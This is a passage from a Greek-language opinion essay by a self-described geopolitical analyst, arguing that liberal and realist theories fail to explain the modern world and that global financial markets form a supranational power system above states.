Η θεωρία αυτή, εν συντομία, εμφανίζει στο ίδιο το εσωτερικό της βασικά κενά και αντιφάσεις. Το βασικό πεδίο το οποίο την τροφοδοτεί είναι το εθνικό οικονομικό. Το ίδιο, το πεδίο όμως εμφανίζει μεγάλες αντιφάσεις και παράγεται μόνο μέσω των συγκρούσεων. Φανταστείτε αν το επεκτείνουμε στο διεθνή χώρο πόσο αυτομάτως μεγαλώνει και το μέγεθος των συγκρούσεων. Για παράδειγμα μια αιτία σύγκρουσης οικονομικής μορφής ήταν ο πόλεμος αδελφών μουσουλμανικών κρατών το 1990 μεταξύ του Ιράκ και του Κουβέϊτ. Θυμίζω ότι ο Σαντάμ Χουσεΐν επενέβη στρατιωτικά στο γειτονικό Κουβέϊτ, επειδή αυτό παραβίαζε τις ποσοστώσεις στη παραγωγή πετρελαίου που επέβαλλε ο ΟΠΕΚ, οργανισμός στον οποίο και αυτό ήταν μέλος. Το Ιράκ θεώρησε ότι το γεγονός αυτό της υπέρβασης των ποσοστώσεων μείωνε τα κέρδη της δικής του παραγωγής, πράγμα που ζημίωνε και την οικονομία του. Παρ' ότι οι χώρες αυτές δεν ήταν δημοκρατικές, πράγμα που θα επικαλούνταν οι φιλελεύθεροι, είναι σημαντικότερο να τους τονίσουμε ότι και οι δύο είναι αδελφές μουσουλμανικές και πολιτισμικά όμοιες πάνω – κάτω. Αλλά και στις δημοκρατικές χώρες η κατάσταση του πολιτεύματος δεν εγγυάται και την παντοτινή μονιμότητα. Είναι δυνατόν μια δημοκρατική χώρα να μετατραπεί σε χώρα με αυταρχική διακυβέρνηση αν οι συνθήκες το επιβάλλουν κάτω από μια ιστορική εσωτερική ιδιομορφία.

Επιπρόσθετα, το οικονομικό πεδίο δεν δημιουργεί ποτέ συνθήκες αρμονικού περιβάλλοντος. Το αντίθετο. Οι κρίσεις που το διακατέχουν είναι τόσο συχνές που έχουν καταστεί πλέον ενδημικό του στοιχείο. Είναι συνεπώς πολύ πιθανό η αντιμετώπιση των κρίσεων να επιτευχθεί μέσω μιας μικρής ή μεγάλης στρατιωτικής σύγκρουσης. Η επίλυση των κρίσεων έχει αποδειχθεί ιστορικά ότι σημαίνει ταυτόχρονα όχι μόνο ανακατανομή των πόρων αλλά και ανακατανομή της ισχύος. Στις αρχές του εικοστού αιώνα η Γερμανία ήταν πανίσχυρη οικονομικά αλλά η κρίση από την επιδιωκόμενη υπέρ επέκταση της, στις άλλες ευρωπαϊκές χώρες που δημιούργησε, την έφερε σε ένα επίπεδο πλήρους οικονομικής και στρατιωτικής υποτέλειας.

Η πολύ γενική κριτική προσέγγιση που προηγήθηκε στις δύο παραδοσιακές θεωρίες των διεθνών στρατηγικών, της φιλελεύθερης και του ρεαλισμού, νομίζω αποδεικνύει ότι ούτε η μία ούτε η άλλη δεν καταφέρνουν να απεικονίσουν πραγματικά το πυρήνα του σύγχρονου κόσμου. Όσα από τα κράτη, τις ακολουθούν γρήγορα ανακαλύπτουν τις ατέλειες τους και συνειδητοποιούν ότι υπάρχει κάτι διαφορετικό, ίσως πιο πολύπλοκο, πιο σύνθετο, λιγότερο απτό και ορατό, αλλά πάντως πραγματικό.

Στη σύγχρονη ιστορική φάση, το εύρος της οποίας δεν γνωρίζουμε, οι σχέσεις των μειζόνων δυνάμεων, δεν μπορούν να διαταραχθούν ούτε από στρατιωτικές στρατηγικές εδαφικής επέκτασης, ούτε από πολιτικές κατάλυσης των δημοκρατικών πολιτευμάτων. Ο παράγοντας που μπορεί να τις διαταράξει δεν συνιστά ένα απειλητικό κράτος με επιθετική στρατηγική. Δεν ορίζεται με κρατικούς ή εθνικούς όρους. Συνιστά κατά το μάλλον ένα σύστημα παγκόσμιας ισχύος που περιστρέφεται πάνω από τα κράτη, με συστατικά στοιχεία την υψηλή τεχνολογία και τις κεφαλαιακές ροές. Διαθέτει αυστηρούς κανόνες επιβράβευσης και τιμωρίας όσων συμμετέχουν σ' αυτό, είτε είναι κράτη και κυβερνήσεις είτε είναι φυσικά πρόσωπα και κοινωνικοί φορείς. Διαθέτει λειτουργικές αρχές τις οποίες οφείλουν να τηρούν οι συμμετέχοντες, η παραβίαση των οποίων σημαίνει αυτόματα και την έξοδο τους.

Συνηθίζεται συμβατικά να αποκαλείται αυτό το σύστημα «αγορές» αλλά ο όρος έχει επινοηθεί μάλλον για χρήση ευρείας κατανάλωσης. Ουσιαστικά αποτελεί ένα σύστημα ισχύος, με διακριτές ιεραρχήσεις, χωρίς κέντρο, πέρα από τη φυσική διάσταση του ανθρώπινου υποκειμένου, που κινείται διαρκώς, ημέρα και νύχτα, μεταφέροντας πόρους από το ένα σημείο του πλανήτη στο άλλο, με όχημα την τεχνολογία. Η οικονομική ισχύς του είναι τόσο μεγάλη ώστε να μπορεί να χρηματοδοτεί μεγάλα ελλείμματα κρατικών προϋπολογισμών, εταιριών, νομισματικών ζωνών, τραπεζικών ομίλων, κλπ, απορροφώντας τα πλεονάσματα κερδών, αποταμιεύσεων και κεφαλαίων που παράγονται αλλού. Είναι τελικά ένα σύστημα κυκλικής ροής και ανακύκλωσης κεφαλαίων, που όταν γίνεται στροβιλισμός μπορεί να καταστρέψει τους ευάλωτους και αδύναμους που εντάχθηκαν στις διαδικασίες του. Κράτη που αποδέχθηκαν μέρος αυτών των κεφαλαίων, με τη μορφή των δανειακών πιστώσεων έναντι εγγυήσεων, βλέπουν να καταποντίζονται στην αναξιοπρέπεια, τη διαπόμπευση και τον εξευτελισμό, γιατί δεν αξιοποίησαν κατάλληλα αυτές τις πιστώσεις. Η χρεοκοπία ισοδυναμεί όχι μόνο με απώλεια οικονομικής ισχύος αλλά και εθνικής και πολιτισμικής. Ισοδυναμεί με στρατιωτική ήττα σε ένα διμερή ή πολυμερή πόλεμο στο συμβατικό κόσμο.

Παρ' ότι το σύστημα είναι υπέρ κρατικό έχει διακυβερνητικές εξουσίες στις κρατικές επιλογές. Οι εντολές του μετατρέπονται σε κυβερνητικές πολιτικές, είτε οι κυβερνήσεις απολαμβάνουν τη δέουσα εσωτερική νομιμότητα είτε όχι. Παρ' ότι το σύστημα έχει το σχήμα της συνεχούς ροής κυκλικής μεταφοράς πόρων, όπως το σχήμα της γης, διαθέτει σταθμούς μεταβίβασης που ονομάζονται χρηματοοικονομικοί οργανισμοί ή οίκοι διαχείρισης

κεφαλαίων. Οι σταθμοί αυτοί ως εκπρόσωποι του διακυβερνητικού συστήματος συνδέονται με τις κρατικές κυβερνήσεις μέσω πολύπλοκων κανόνων αγοράς και πώλησης εθνικού ενεργητικού. Ουσιαστικά αποτελεί ένα σύστημα διακυβερνητικής εξουσίας υπεράνω του κρατικού συστήματος. Αν το κρατικό σύστημα εξουσίας αποφασίζει να συγκρουστεί με το διακυβερνητικό, όπως η Αργεντινή για παράδειγμα, τότε είναι αναγκασμένο να τροποποιήσει και τις σχέσεις του με τις εγχώριες πηγές νομιμότητας. Συνήθως αυτό γίνεται με την αποδοχή ενός κατώτερου επιπέδου τρόπου διαβίωσης. Οι πολιτικοί ανακαθορισμοί των εσωτερικών συσχετισμών όμως που ακολουθούν, αναδεικνύουν μια νέα κρατική εξουσία η οποία επαναφέρει στην τροχιά της διακυβερνητικής εξουσίας τη χώρα.

Όμως η διακυβερνητική εξουσία δεν καλλιεργεί σχέσεις μόνο με τις κρατικές εξουσίες. Έχει απλώσει δίκτυα και στις κοινωνικές ομάδες των χωρών, τους οικονομικούς φορείς, τους ασφαλιστικούς οργανισμούς και τα φυσικά πρόσωπα ακόμα, προκειμένου να προσπορισθεί νομιμότητα και αποδοχή. Έτσι καθίσταται πολύ δύσκολο για μια εθνική κυβέρνηση να συγκρουστεί με το σύστημα της διακυβερνητικής των αγορών, χωρίς να πλήξει και τα συμφέροντα των δικών της οικονομικών φορέων και πολιτών.

Όλο και περισσότερο ο άξονας του συστήματος ασφαλείας μετατοπίζεται από τους εθνικούς χώρους και μεταφέρεται στους άδηλους υπερεθνικούς στους οποίους επικυριαρχεί ή διακυβερνητική των αγορών.

Η αντιμετώπιση αυτού του νέου Λεβιάθαν δεν είναι υπόθεση ενός κράτους. Απαιτεί και προϋποθέτει τη σύμπραξη των μειζόνων δυνάμεων, οι οποίες συντονισμένα θα αθροίσουν εξουσίες μεγαλύτερης ισχύος από εκείνη της διακυβερνητικής των αγορών. Στην ιστορία όμως δεν έχουμε κανένα παρόμοιο παράδειγμα συντονισμού των μειζόνων αλλά πάμπολα παραδείγματα συγκρούσεων μεγάλων αντιπάλων.

Τηρουμένων των ιστορικών αναλογιών, η σημερινή ιστορική φάση, ομοιάζει με εκείνη της επικράτησης των αυτοκρατοριών. Αλλά οι αυτοκρατορίες, κατά κανόνα, δεν καταλύθηκαν ποτέ από συντονισμένα χτυπήματα των αντιπάλων αλλά από τις εσωτερικές αδυναμίες και αντιφάσεις που καλλιεργούσαν ανορθόλογα.

Θ. Πεδινός.

Ειδικός γεωπολιτικός αναλυτής.